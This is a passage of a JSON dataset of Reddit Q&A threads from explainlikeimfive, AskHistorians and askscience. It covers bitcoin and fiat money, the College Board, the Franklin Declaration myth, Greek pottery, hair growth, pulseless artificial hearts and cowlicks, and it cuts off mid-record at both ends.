\n\n > How is the value of bitcoin determined, and what backs the currency?\n\nNothing backs the currency, just like nothing backs the US dollar. Value is a completely human concept and even things like gold, which we associate with value, simply have value because humans believe they have value. Now there are a variety of factors which affect human perception of value, but overall it is set by the price where you are most likely to find a buyer and a seller for. \n\n > What is a fiat currency, and how is bitcoin different from it, or currency backed by hard commodities such as gold?\n\nFiat currency is a currency not backed by anything. Backing means that the currency is set to be equal to some kind of commodity, like gold. This meant that you could go to the issuer of the currency, like a central bank, and as for a set amount of gold promised by the currency note. Fiat currency is the lack of this, the currency itself has value because people perceive it has value, not like backed currency where it is valuable because its backing commodity is perceived as valuable. ", "WTF is the purpose of all these scripts and calculations? \n\nWhy?", " > What is a fiat currency, and how is bitcoin different from it, or currency backed by hard commodities such as gold?\n\nSome of the other answers miss the mark here somewhat.\n\nLet's start with bartering. Imagine I make shoes for a living. Each day I try to trade shoes for bread so that I can eat. That means that every day I've got to find a baker who needs new shoes. Obviously this is inefficient.\n\nCurrency improves the efficiency of barter by allowing three way trades. I can trade shoes for currency with anyone who needs them. Then I can trade currency for bread with the baker.\n\nThe main feature that currency needs therefore, is confidence from everyone involved that it won't go up or down in value by much. Traditionally there are three ways of doing this.\n\n1. Commodity currency.\n\n(Also called bullion currency or specie currency) This type of currency is made from material that has relatively stable supply and demand. Precious metal coins are a good example of commodity currency. The stable supply of and demand for the material is what inspires confidence. Even if the coin becomes \"no good\", I can be confident that I can always melt the coin down and find someone willing to buy the gold it's made out of for a price similar to what I paid for the coin.\n\n2. Representative currency. \n\nThis type of currency is made from inherently valueless material, but comes with a promise that whoever issued the currency will swap it for commodity currency on demand. Obviously you still need a good underlying commodity currency, but what actually inspires confidence is the belief that the issuer of the currency has enough commodity currency to cover your demands if and when you choose to make them. Importantly, the issuer doesn't need to have enough commodity currency to convert all their representative currency at once. They just need enough to make everyone reasonably confident that my demand could be covered if I chose to make it. That is, representative currency is only partially backed by a commodity (which is why governments preferred it over commodity currency). Good examples are US paper money between 1860's and 1960's.\n\n3. Fiat currency.\n\nThis type of currency is similar to representative currency except that the promise made by the issuer is not a promise to swap the currency for commodity currency, it is a promise by the issuer that the value of the currency will not change much over time. What inspires confidence is the belief that the issuer has the ability and desire to make good on this promise. An example is the US dollar today. The US government decrees that the US dollar is worth one dollar and can be used to pay all debts public and private. They have the capacity to back up this decree with laws (requiring that US citizens and businesses accept the money at it's face value) and with market interventions to ensure that foreigners continue to accord the dollar a constant value.\n\nBitcoin is like none of these. Perhaps the best way to describe it would be as a mechanical currency. It has  a built in mechanism to increase supply at a rate that suits the forecast increase in demand. This matching of supply and demand is supposed to moderate value. People draw their confidence in the currency from their belief in the accuracy of this mechanism. So far, the obviously deterministic machine has not really done a great job in this regard. "]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/search?q=bitcoin&amp;restrict_sr=on&amp;sort=relevance&amp;t=all", "https://www.reddit.com/r/explainlikeimfive/search?q=block+chain&amp;restrict_sr=on&amp;sort=relevance&amp;t=all"], "answers_urls": [[], ["https://www.reddit.com/r/NoStupidQuestions/comments/7611wf/how_does_bitcoin_work/", "https://www.reddit.com/r/explainlikeimfive/comments/195con/eli5_how_does_bitcoin_work/", "https://www.reddit.com/r/btc/comments/4c7ktw/eli5_how_does_bitcoin_work/", "https://www.reddit.com/r/explainlikeimfive/comments/1bm7ya/eli5_how_the_fuck_does_bitcoin_work/", "https://www.reddit.com/r/explainlikeimfive/comments/2wpb46/eli5_how_does_bitcoin_work_if_its_decentralized/"], ["https://www.reddit.com/r/explainlikeimfive/comments/12knie/eli5_bitcoins/", "https://www.reddit.com/r/explainlikeimfive/comments/1w9azv/eli5_what_is_bitcoin_and_why_is_it_so_popular/"], [], [], []]}
{"q_id": "3oxwjr", "title": "how is college board(sat test company for the us) not considered a monopoly", "selftext": "Even though they are \"non-profit\", how is it legal for them to have the market on tests like this cornered?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3oxwjr/eli5how_is_college_boardsat_test_company_for_the/", "answers": {"a_id": ["cw1fv5g", "cw1fw2d", "cw1fx1n", "cw1iobp", "cw1jhv2", "cw1ndw3", "cw1o5lr", "cw1qmv8"], "score": [10, 81, 18, 6, 7, 2, 2, 3], "text": ["They don't have a monopoly on making standardized tests. They have a proprietary test, but so long as they aren't actively preventing competition from producing tests, they aren't doing anything illegal.", "Because they don't. There is a competitor test, the ACT, that is widely accepted. In fact, I believe now more people take the ACT than the SAT. \n\nYou're not a monopoly if you have competition. You're certainly not a monopoly if your competitor does more business than you. ", "I would assume the ACT would play a factor, a lot of high schoolers are taking the ACT instead of the SAT, mainly due to the Critical Reading section on the SAT.  \n  \nCollege Board also isn't stopping other competitors from existing.", "Monopolies aren't illegal in U.S. antitrust law per se. \nPeople have mentioned the ACT you can still have illegal antitrust action based on Oligarchical business as well. \nIt's certain types of attempted monopolization actions that are technically illegal under US antitrust law. ", "Others have said \"they're not a monopoly\".\n\nBut I'd like to add that it's not illegal to be a monopoly. It's illegal to *abuse* monopoly status.", "I didn't take the SAT, I took the ACT. Because I was told there was less daunting math. Colleges accepted it just as much as they do the SAT.", "[Simply having a monopoly or a very large market share is not usually enough to be considered illegal.](_URL_0_)\n\nThis is especially true with specialty products, if you want an aircraft carrier the only US company able to produce one is going to be Northrup Grumman. Want a nuclear power plant? Well it will be GE or Westinghouse. \n\nWant a standardized test? Well since it has to be standard you really can't have all that many different tests can you? So you have the SAT/ACT ; GRE/GMAT ; LSAT/?", "Why do we  these  test as means to determine if you're qualified to attend a school?\n\n_URL_0_\n\n\nIn a windowless classroom at an Arcadia tutoring center, parents crammed into child-sized desks and dug through their pockets and purses for pens as Ann Lee launches a PowerPoint presentation.\n\nHer primer on college admissions begins with the basics: application deadlines, the relative virtues of the SAT versus the ACT and how many Advanced Placement tests to take.\n\nThen she eases into a potentially incendiary topic \u2014 one that many counselors like her have learned they cannot avoid.\n\n\u201cLet's talk about Asians,\u201d she says.\n\nLee's next slide shows three columns of numbers from a Princeton University study that tried to measure how race and ethnicity affect admissions by using SAT scores as a benchmark. It uses the term \u201cbonus\u201d to describe how many extra SAT points an applicant's race is worth. She points to the first column.\n\nAfrican Americans received a \u201cbonus\u201d of 230 points, Lee says.\n\nShe points to the second column.\n\n\u201cHispanics received a bonus of 185 points.\u201d\n\nThe last column draws gasps.\n\nAsian Americans, Lee says, are penalized by 50 points \u2014 in other words, they had to do that much better to win admission.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://en.wikipedia.org/wiki/United_States_antitrust_law#Monopoly_and_power"], ["http://www.latimes.com/local/california/la-me-adv-asian-race-tutoring-20150222-story.html#page=1"]]}
{"q_id": "2v0l8c", "title": "Is it actually true that Benjamin Franklin was not trusted to write the Declaration of Independence because he might hide a joke in it?", "selftext": "I keep seeing this and I wanna know if it's acutally true.\n\nEdit: thanks for all the replies guys, and thanks for clearing it up. I didn't think this would get this much response.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2v0l8c/is_it_actually_true_that_benjamin_franklin_was/", "answers": {"a_id": ["codjfci", "codjkdc", "codsk89"], "score": [110, 1704, 9], "text": ["Hey guys, comments are likely getting deleted because they contain conjecture and lack of sources. \n\nIf you're going to comment, please have info to back it up--saves everyone a lot of time and keeps this subreddit's info standard high. ", "No. \n\nThis is a weird persistent \"fact\" that people love to bring up about the American Revolution and I've never been able to find a primary source that supports it. The earliest mention of the idea comes from an article in Harper's Magazine in 1896 -- a writer named Brander Matthews wrote about how odd it is that Franklin DIDN'T write the Declaration, and decided that it must have been because his colleagues were afraid he'd slip a joke in. (That article is called \"The Penalty Of Humor\" and is in Harper's Magazine Vol. 92.) It's a good story, but the truth is more complicated. \n\nThere was a committee of five chosen by Congress to draft the Declaration -- Thomas Jefferson, John Adams, Benjamin Franklin, Roger Sherman, and Robert Livingston. The actual committee never took minutes of their meeting, and there are discrepancies between the accounts of Adams and Jefferson because the Declaration ended up being a much more influential document than anyone expected. At first it was viewed as an almost tedious administrative task; they weren't drafting the most important founding document in American history. In *Founding Brothers*, Joe Ellis suggests that Adams, had he known how important the Declaration would become, would have written it himself. (Adams's own writings support this, in my opinion -- later in life he insists that he rallied a bunch of others to vote that Jefferson write the Declaration, thus taking some of the credit for the document. \"I chose Jefferson to write it because I knew he'd do an awesome job\" sounds better than \"I made Jefferson do it because I felt it was beneath me.\" But Jefferson's recollection is that it was foisted on him because Adams couldn't really be bothered.) Ellis also says that Franklin loathed having his work edited by others, which is another reason he probably didn't care to write it. But the entire committee reviewed and made edits to Jefferson's original document, so Franklin was definitely involved. But no, he wasn't prevented from writing the whole thing because everyone was afraid he wouldn't take it seriously. That's a myth of Parson Weems proportions.\n\n(I've never commented on a thread in AskHistorians -- mods, I apologize if my sourcing isn't sufficient. I don't have my copy of the book on hand. Please delete if necessary!)\n\nEdit: here's a [link](_URL_0_) with an excerpt of Adams telling the \"I insisted Jefferson write it!\" story.", "As t he discussion wandered into important questions about the authorship, contemporary meaning and legal significance of the Declaration, I suggest reading Pauline Maier's celebrated and authoritative work, *American Scripture: Making the Declaration of Independence* (1997), and the brief summary she provided for a paper edition of the Declaration and Constitution. The Declaration was important as a political fact; the concluding paragraph that contains the actual declaration was what seemed important, and was read at Independence Day celebrations for decades. The now-famous opening paragraphs became famous and important later. Maier takes Jefferson down a bit for exaggerating both his role and the importance of his contributions to those opening paragraphs. . . . .  As to legal significance, lawyers today do not consider it to be a legal document, but there is an argument to be made that it was constitutive, possibly therefore part of the constitutional canon. Most of the state constitutions, including those that preceded the Declaration of Independence, began with declarations or rights, and Jefferson drew on those, especially the Virginia declaration of rights drafted primarily by George Mason."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.eyewitnesstohistory.com/jefferson.htm"], []]}
{"q_id": "hf6zc", "title": "What are old greek pottery colors made of and why does only the black remain", "selftext": "Hey, i was seeing an exhibition with lots of greek artifacts today and i a was a little bit dismayed to find that most of the drawings - quite intricate especially in later periods - on pottery are long gone, only the black parts and some white spots remain on the artifacts. \n\nSo i guess my question is what was this stuff made of, why is it gone and could we possibly reconstruct original artwork with some modern chemistry/spectrography/electromagnetic imaging?\n\nHow did they do it? Did they apply a single color slip and wipe away unwanted parts essentially drawing a negative?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hf6zc/what_are_old_greek_pottery_colors_made_of_and_why/", "answers": {"a_id": ["c1uxq64"], "score": [10], "text": ["[Disclaimer] This is a possible scenario of what happened, but I'm no art historian. I do have about a decade of experience with modern ceramics so I can vouch for the technical aspects, but my knowledge of ceramics history is based on Google research and some classes I took 7-8 years ago. \n\nSome of the Greek styles (don't know which one you were looking at, since they span centuries) used slips to decorate their pottery - I'll explain what those are in a moment. Most of the time the surface decoration you see on pottery is a glaze - basically a thin sheen of glass-like substance which is fused with the clay body when it's fired. Slips, on the other hand, aren't glass - they're thin coats of *colored clay* material. Basically you dilute your clay down to the point where it's liquid or sludgy, add colorants like iron, copper, cobalt, etc, and brush it onto the pot.\n\nThe problem with all of this is that you're subjecting all of these materials to very high heat - that means expansion, among other things. Different clay bodies have different expansion rates - as do glazes, which is why potters often talk about glaze/body \"fit.\" If your fit isn't perfect, you eventually get crazing (crackling in the glaze) and pieces of the glaze can pop off in time.\n\nSame thing with slips - if you get any difference at all in expansion rates (and this can be caused by those very same colorants I mentioned above) you basically get a very thin layer of ceramic (very brittle, as you can imagine) either \"floating\" above the main body of clay or partially cracked off right out of the fire. It may be fine for decades or centuries, but eventually you'll get enough shock- or moisture-damage for those pieces to pop off (I say moisture because Greeks used mostly terracotta clays, which are low-fire and will absorb small amounts of water unless they're glazed).\n\nModern potters avoid much of this through exact calculations of proportions, pure materials, and very precise firing schedules with modern kilns. The Greeks would have dug their own materials and fired in a pit or brick kiln heated by wood of coals - that introduces quite a few variables right there, so you never have full control over your ingredients *or* your temperatures.\n\nIf this scenario is correct, then there's no way to reconstruct the images - the materials on which (and with which) the images were painted have flaked off. We don't need anything as fancy as modern chemistry/spectrometry - we pretty much know what materials they used for what.\n\n[Edit] This after a little more research - the most common type of slip used by the Greeks is called \"terra sigillata\"; you can find way more info than you ever wanted on Google, including modern recipes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1itmsy", "title": "Is hair and fingernail growth slowed down when the body starts prioritizing protein elsewhere, such as through muscle growth via bodybuilding?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1itmsy/is_hair_and_fingernail_growth_slowed_down_when/", "answers": {"a_id": ["cb83oe7", "cb84fwn", "cb84vqb", "cb87blm", "cb8b9tt"], "score": [72, 15, 213, 6, 3], "text": ["Alpha keratin, the family of proteins that makes up fingernails and hair, is notably enriched for cysteine relative to other proteins because of the [stability imparted by cysteine linkages](_URL_0_). While cysteine isn't quite an essential amino acid, [unless one is a baby or something](_URL_1_), it can be synthesized from methionine which is an essential amino acid.\n\nI suppose what I'm getting at is that if you were starving for protein, your hair and fingernails might look bad? It could just as easily be scurvy though from more general starvation.", "Follow on:  would nail and hair growth suffer if the body prioritized protein elsewhere due to injury?", "Yes, but not from body building. Nail growth will become disrupted in severe disease states, vitamin deficiencies and malnutrition and will produce lines known as Beau's lines in the nail.\n\nEdit: Seeing as this got pretty popular I want to clarify more. This isn't due to your body \"prioritizing\" protein elsewhere. In disease states its because your body is essentially working so hard to not die that energy is not wasted on things like nail growth. Clubbing, as the fine person below me referenced, is a pathophysiological change to chronic disease. Beau's arrest lines are clinical signs of a severe event in the previous weeks-months. ", "Muscles that need protein don't send a signal to hair and nails to tell them to stop growing, at least as far as I know. If protein is available in your blood, both systems should be using it.", "Somewhat of a follow up to this, does human hair (on the head) have a limit to how long it can grow, and does this differ from person to person? I have quite long hair and I feel that it hasn't grown much as late. I'm not sure if this is something biological, or if I just can't notice because I see myself everyday, or a combination of the two. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Keratin#Disulfide_bridges", "https://en.wikipedia.org/wiki/Cysteine#Dietary_sources"], [], [], [], []]}
{"q_id": "8jkbm1", "title": "Does a heart need to beat? Would we be able to replace the heart with something that continuously moves blood around with no pulse (using a pump/compressor of sorts)? Would there be complications by making the flow constant rather than pulsed/beats?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8jkbm1/does_a_heart_need_to_beat_would_we_be_able_to/", "answers": {"a_id": ["dz0bb4k", "dz0f364", "dz0f601", "dz0feuz", "dz0h81l", "dz0k726", "dz0lo49", "dz0lpod", "dz0lxly", "dz0lzw9", "dz0mivb", "dz0ow34", "dz0qbii", "dz0r4uf", "dz0rdd9", "dz0sxaj", "dz0xgkl", "dz0xmil", "dz0xopv", "dz0yukl", "dz10qst", "dz11gg3", "dz14elm", "dz17d3i", "dz1ta5v", "dz1u2co", "dz22u8y", "dz23e69", "dz25ppt"], "score": [2186, 12020, 438, 53, 35, 8, 10, 8, 40, 9, 2, 12, 3, 7, 2, 7, 2, 2, 2, 7, 4, 16, 3, 15, 4, 2, 5, 6, 2], "text": ["Short answer - no, it can work.\n\nWith a lot of the early work on artificial hearts and assist devices it was assumed that blood flow had to be pulsatile - which makes sense given the use of stretch receptors in a lot of places to monitor pressure.\n\nHowever due to elasticity and resistance of the vessels, by capillary level a lot of the pulsatility has gone.\n\nIn the end this was solved by people making artificial hearts and assist devices which aren't pulsatile, and there are people walking around with them today.\n\nEdit: a fairly readable summary article - [The total artificial heart](_URL_0_)", "There is already a device out there that does what you are saying.  A lot of people with severe heart damage will get put on a device called an LVAD (Left Ventricular Assist Device) which can either assist a damaged heart or just replace it entirely.  These devices have a rotor that circulates blood continuously instead of making it pump.  It connects to a battery pack outside the body.  These people will often have no pulse and by extension no measurable blood pressure because there is no pulsitile motion to measure.  These devices are usually used as a temporary measure until a heart donor can be found, but it's getting more common to be used in those that cannot undergo a heart transplant as well.\nHere's some more info if you want to read about it.  \n\n_URL_0_\n\nI am an ED nurse at an LVAD center hospital so I see these fairly often.", "This already exists - it's called a left ventricular assist device (LVAD). It is implanted in people who's heart is too weak to effectively pump blood at a sufficient perfusion pressure. \n\nBasically it consists of a pipe with a motor in the middle. One end of the LVAD is hooked up to the heart (left ventricle), the other end is hooked up to the aorta (largest artery carrying blood to the rest of the body), and in the middle there is a motor which generates a negative pressure which sucks the blood out from the heart (assists the heart) and into the aorta. The motor speeds are adjusted to optimize the pressures in the heart. It is powered by a battery that is worn outside the body, but connects to the LVAD through the abdomen. \n\nIt is used in those who are waiting for a heart transplant but would otherwise die waiting. In some it\u2019s also used as destination therapy (they are not candidates for a heart transplant but this will keep them alive longer than if they didn\u2019t have an LVAD).\n\nComplications include hemolysis (shredding of red blood cells) due to the motor. There is also a high risk of infection and also clotting.\n\nRegarding pulsatile vs continuous flow - no one knows for sure. However, it has been shown that continuous flow can lead to more stiffening of blood vessels which is one theory behind why so many patients with LVADs have kidney failure later (but of course, the alternative is death relatively sooner).\n\nLVAD simulation: _URL_1_\n\nLVAD review article: _URL_2_\n\nLVAD Kidney: _URL_0_\n\n\n\n", "Look up LVAD. They are cool to look at, but if you need to be on one you\u2019re in really, really bad shape. \n\nI did read some interesting things related to artificial hearts in one of my wife\u2019s many medical journals that she gets. From an engineering standpoint, something with chambers that pump like an actual heart is much, much better. Other systems that would rely on blades to keep blood flowing damages cells and there\u2019s the risk of buildup of cells on the blades. \n\nEdit: Sorry; LVAD was mentioned in another comment. ", "Extra corporeal membrane oxygenation, or ECMO, is a device that removes deoxygenated blood from the body and turns it into oxygenated blood via a huge pump and then returns it back to the body. In lay terms, long term heart and lung bypass. There are two kinds, VA and VV ECMO. VA or veno-arterial uses the venous system and the arterial system and can provide cardiac support; both the heart and lungs can rest while this pump does all the work. Then there's VV or veno-venous; it returns blood to venous system and provides no cardiac support, mainly for lungs to rest.\n\nI work at a children's hospital and we use ECMO in all three of our ICUs, the NICU, PICU, and CICU or cardiac.\n\nWiki for general info. _URL_0_\n\nNot sure if this answers the question of if we need a heart beat, but if capable, people can walk on ECMO and don't need to be restricted to a bed but obviously do need to be in hospital. LVADs I believe can be used outside of hospitals, people can go home with those.", "Cardiac care nurse here. There's a device called a VAD, which stands for a ventricular assistive device. Patient who receive them for their left ventricle; the largest chamber in the heart that pumps blood to the rest of the body, usually have them in place till they can get a heart transplant or long term as final therapy. The problem with using a pump and engine is that blood likes to clot and it often forms on the moving parts of the pump. We combat this by placing the patient on blood thinners, but this increases the risk of bleeding which is a high risk factor with VADs, more so with Left VADS. You also need to power the device. So VAD patients have an actual wire that comes out of the abdomen and plugs into a romote that runs off a battery or an outlet. Any foreign object entering the body is an invitation for infection and it's also a common risk factor with VADS. We also have total artificial hearts, witch are actually plastic chambers with valves that pump like a heart would. These are more rare and very loud because the machine that runs the device id constantly clicking and the external machine is about the size of a mini fridge.", "Okay, all of these answers are good, but they are very short-sighted to what the OP is asking. Yes, we have a system called a LVAD and it has complications. But come on scientists, think a little further down the road. Think to a time when we can manufacture a heart with small, but powerful batteries, motors, etc that could last indefinitely.\n\nShould that future synthetic heart be programmed to beat or simply flow as the OP is asking? What would be the pros/cons of an \"everflow\" system? If an engineer could design the ideal heart without energy constraints (which is why we have a beat to begin with; saving energy), what would it look like?", "I'm a med student and we've had a lecture not long ago about heart transplant and artificial hearts. The answer is that we really aren't sure yet, whether the pulse does anything. As others have mentioned, there are devices (LVADs) that are simply compressors and that pump blood in continuous fashion (ie. without pulse). And people can live with them. But there isn't enough evidence to say for sure, whether having a pulsile flow is beneficial or not. Some experts suggest, that pulse is useful for lymph drainage, since lymph flow is kind of passive. But it seems it definitely is possible to live without a pulse, and as far as I know, most research is currently focused on advancing continuous flow heart pumps, since they seem to be simpler/more practical.", "Sorry for formatting and bad English.\n\nYes, we could use a continuous pump, and everyone here told you to look after LVAD.\n\nThere's also another problem: laminar flow and turbolent flow of the blood.\n\nIn laminar flow, the blood moves without making whirls, like water in a straight tube.\n\nIn turbolent flow, the blood may become stagnant in critical points, such as right after heart valves. The stagnation leads to the formation of clots in that area, with potentially fatal consequences.\n\nIt takes time for a liquid to create turbolence.\nA pulsed movement of the blood \"kills\" the turbolence before it becomes too important.\n\nSource: biomedical engineering student and thesis on valve failure", "Yes it is possible. You can live with a pump that provides a constat stream (i.e without s heartbeat)\n\n[This man lived \u2014 even played basketball \u2014 without a human heart for 555 days before receiving a transplant](_URL_0_) ", "How is your cardio when you have one of these devices in. Say you\u2019re perfectly healthy and have no complications from the machine, could you for example run forever? Or do strenuous activity for insanely long periods of time?", "I was on a plane to Houston with a cardiologist who is working the latest generation of this. I asked lots of questions and this question was the first. He said the body doesn't need the pulse, just flow. The device they were working on would speed up and slow down based on need, like a regular heart. Can't remember his name, but he was a cardiologist at Christ hospital in Cincinnati and I believe is now the chief Cardiologist at Texas A & M.", "It is necessary for coronary circulation of heart but if you are considering about other parts of body, it is not. O.H. Frazier and colleagues work on complete cardiac implant with continuous flow. \n\nhere is the video of their project:\n_URL_2_\n\nhere is the one of articles of their patient series:\n_URL_1_\n\nhere is the review from O.H. Frazier about this subject:\n_URL_0_", "All these people talking about LVAD's and not a single one talking about the world's first truly artificial heart (in a backpack) [made by Syncardia.](_URL_0_) It's capable of being used for years, and people have run marathons with it.", "I recently shot some video concerning an impella pump. It was being shown off to cardiologists and i was able to go into the exhibit. Basically it does this, and can assist the heart, allow it to rest, or work as an emergency pump in the case of cardiac arrest. Really neat device if you want to look into it.  \n_URL_0_", "I worked for a major manufacturer of LVADs for over 10 years, and a lot of studies were done regarding organ function in the absence of pulsatile flow, etc. Turns out, you don't need a pulse!\n\nNevertheless, the newest device actually has a pulsatile mode. Also, many patients retain at least SOME heart function, so even with a continuous flow device many will still have some degree of pulse.", "You could totally replace a heart with something that moves blood around, the issue you will run into is the heart is the epitome of an industrial machine. It's beating constantly with no maintenance for 80ish years. If you can manufacture something that does that, you win a few billion dollars.  ", "Devices exist which do this however the structure of the circulatory system doesn\u2019t seem to love them and they only keep people afloat for a few years or so.\n\nWe couldn\u2019t tell you what combination of pulseless circulation versus the heart and circulatory system having already been in bad shape necessitating the device... but it\u2019s typically used a temporary measure rather than something an elite athlete would be interested in.", "It\u2019s possible with an Extracorporeal membrane oxygenation machine.  ECMOs are increasingly being used in hospitals when patients need organ transplants and can no longer stay alive on their own.   Not sure if that\u2019s entirely the same thing... people can go ahead and contradict me.  ", "A lot of people have already pointed out that LVADs are already a thing but one in particular is the Heart Mate. The Heart Mate II was the first widespread used of the line which uses a pump with constant pressure. Worked pretty well for people with heart failure who either aren't candidates for a heart transplant or wont live long enough to get one without support. Plus side is its compact and you can live a fairly normal life with it. Down side is all LVADs require constant anticoagulant therapy (heparin for example to prevent clots in the pump) and with the constant pressure it has an extremely heightened risk for GI bleeds and strokes. Enter the Heart Mate III which added pulsatility to the pump (constant pulse of ~40). Lower risk of stroke but still requires anticoagulant therapy. The Heart Mate II is still used because (I think) the III just finished trial and has strict requirements. Basically just looks like a small pump attached to the heart with a couple foot of garden house sitting in the abdomen. I work in a mediumish sized CVICU and we get a handful of these placed a week.", "Not sure if someone already posted this, but former Vice President Dick Cheney has a heart pump device (no pulse) simply circulates the blood. So as others have noted an implantable blood circulatory device does already exist and is able to keep a person alive for a significant amount of time barring other medical issues or complications. ", "Continuous-flow total artificial heart, was first done in 2011 in Houston Texas.. The patient had no pulse, he was fully awake interacting with family and medical staff for more than a month. The body can be sustained on a continuous flow simply because blood flows continuously at the capillary level. \n\n[medical team press conference](_URL_0_)\n\n[article in popular science](_URL_1_)", "Some studies say that the pressure pulses created by heart flushes metabolism products from the fluid space between brain cells. Another factor is breathing. Without these we are probably more prone to become cognitively impaired (dementia, alzheimers, ms-disease).", "I worked in blood vessel tissue engineering. What I know about endothelial cells is that they respond best to non-continuoua flow. I do not remember all the details of my studies but my intuition is that pulsatile stretching of the cell walls is also better.\n\nBasically, the heart and blood vessels have evolved to work together, and they work better this way. That doesn't mean a continuous blood flow would be a death sentence, but I would expect a list of negative consequences such as poorer blood flow regulation, fewer anti-clotting factors, weaker vascular walls (perhaps accompanied by media hypertrophy and higher blood pressure? No idea), etc.", "Precepted at an LVAD clinic. The primary complication is arteriovenous malformations. From my understanding the continuous flow doesn\u2019t allow the capillaries to relax and you get ballooning of blood vessels esp in the gut. \n\n_URL_0_", "You also need the beat of your heart, the difference in pressure of the heart beat (systolic  &  diastolic pressure) is what allows your heart to get blood. \n\nEssentially, the difference in pressure causes a backflow of blood in the most proximal aorta, backing up to the aortic valve and the coronary arteries are right there so the blood flows into the coronary arteries to feed the heart. \n\nAdditionally the relaxation of the heart, the diastolic pressure allows a pressure gradient to have the blood go from there coronary arteries into the musculature of the heart. ", "It's been done. The heart beat is not required by other systems in the body, merely a sustained flow of oxygenated blood.\n\nThe creepy thing is a lack of pulse, considered a defining characteristic of life, both literal and poetic, since time immemorial.", "No, the heart does not need to beat.\n\nThe reason it beats is because the limitations of muscle. Muscle can\u2019t rotate on an axis to create a rotor pump. It can only contract and uncontract. The signal along the SA node and purkinjie fibers makes the heart contract, and this contraction forces blood out of the high pressure area to low pressure. \n\nThis process is what makes your heart \u201cbeat\u201d. However this beat isn\u2019t essential. \n\nBlood is vital because it carries nutrients, and oxygen. However there is nothing special about the delivery system. It\u2019s just diffusion. As long as blood is moving, constantly picking up new nutrients, and new oxygen and getting rid of waste you will function. \n\nTL;DR \nNo, your heart doesn\u2019t need to beat. Since blood gives out nutrients and oxygen through diffusion a constant flow would be completely compatible with the body.", "Don\u2019t have time for reading comments now but great question! Yes this works but there are a lot of unknown and partially known tid bits I\u2019d imagine this would affect.  Movement and activity for example are very important in circulating stuffs. So the pulsation probably helps keep things from stacking up or plugging up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4703693/"], ["https://stanfordhealthcare.org/medical-treatments/l/lvad.html"], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4464048/", "https://youtu.be/mOZIYoq32SQ", "https://ccforum.biomedcentral.com/articles/10.1186/s13054-016-1328-z"], [], ["https://en.wikipedia.org/wiki/Extracorporeal_membrane_oxygenation"], [], [], [], [], ["https://www.washingtonpost.com/news/morning-mix/wp/2016/06/10/this-man-lived-even-played-basketball-without-a-human-heart-for-555-days-before-receiving-a-transplant/"], [], [], ["https://www.ncbi.nlm.nih.gov/pubmed/26031698", "https://www.ncbi.nlm.nih.gov/pubmed/22619284", "https://www.youtube.com/watch?v=XzTXaUltXUA"], ["https://syncardia.com/"], ["https://youtu.be/GhWB7T5QxMI"], [], [], [], [], [], [], ["https://youtu.be/L4NATMQI4p0", "https://www.popsci.com/science/article/2012-02/no-pulse-how-doctors-reinvented-human-heart"], [], [], ["https://www.ncbi.nlm.nih.gov/pubmed/24830804/"], [], [], [], []]}
{"q_id": "2dzqie", "title": "what is happening when you have a cowlick that no matter what you do, just won't go down?", "selftext": "Can someone please explain what about the nature of hair follicles makes them naturally malleable, but form holding at the same time.  Also, why does getting hair wet essentially \"reset\" this?\n\nEDIT: there may not be any hairologists on reddit to know this, but I still haven't received a satisfactory answer to my second question. What property of water temporarily transforms hair from springy to droopy?\n\nEDIT 2: hey guys check out /u/ringo5ar 's answer for, IMO, the most complete one in this thread!\n\nEDIT 3: /u/claudiadurand added some helpful info about keratin", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dzqie/eli5_what_is_happening_when_you_have_a_cowlick/", "answers": {"a_id": ["cjupea8", "cjuqdgb", "cjursnr", "cjus1zy", "cjus2hw", "cjutsgg", "cjuw50f", "cjuwa9s", "cjuwe53", "cjuwl7g", "cjuwts8", "cjux4js", "cjuxo5i", "cjv0pl0", "cjv6bfl", "cjv7bo2", "cjv7j0e", "cjv8ybv", "cjvgqm9"], "score": [119, 9, 29, 24, 50, 5, 13, 1857, 20, 2, 11, 6, 2, 2, 2, 2, 2, 2, 4], "text": ["Yeah hair is essentially protein structures that interact with itself and each other in order to get its shape. Adding water messes up with these interactions and then you are able to change the positioning of the hair itself. \nSometimes the follicles are oriented at different angles so the hair will be more inclined to lean in a certain direction.\n\nIf you want to control your cowlicks the best way to do is to dampen with water and use a hair dryer to get it into the place that you want. \n\nEdit: Orientatatatatttewededededed", "I have a cowlick, I grew my hair too long and it became too heavy for it to be held up so now it doesn't really look like I have one. ", "This is why I can't hang bangs. I have 2 in the front that go out to the sides and give me hair-wings. I hate.", "My cowlick is like my wife...", "TIL: that the word cowlick is spelled \"cowlick\" could have sworn it was more like caulick or something. ", "A technique that I've had success with is to wet my hair a little at night before bed and put a beanie cap on. It holds your hair down how you want and stops your pillow from fucking it up.", "The mullet is the solution for the discerning gentleman who wants to control a cowlick but would still like to keep hair out of his eyes and ears. Talk to your local barber about this option.", "Former hairstylist here, and aspiring scientist. Trichilogy is the study of hair and it essentially explains that different textures of hair and different hair growth patterns are caused by the shape of the hair follicle under your skin. The shapes fall under round (straight hair), oval (wavy), and elliptical (curly). Cowlicks are differently shaped hair follicles in a certain area of your scalp. You can reset your hair texture by using heat or water, which breaks the hydrogen bonds in your hair. These are only temporary, because hydrogen bonds are relatively weak and can break and reform easily. Chemical processes like perms or relaxing break the disulfide bonds in your hair, which are not easily reformed or repaired. Hope this helps!\n\nEdit: corrected carbon to hydrogen.\nEdit 2: wow, thanks for the gold!!\n", "The matter is not follicles, but keratin. [Keratin](_URL_0_), which is the protein that makes up hair, is normally tightly wound. When water is added, the hydrophillic protein unwinds. This makes it malleable. Then, when it dries, the protein shrinks to whatever shape the hair has taken, and holds. This is why it 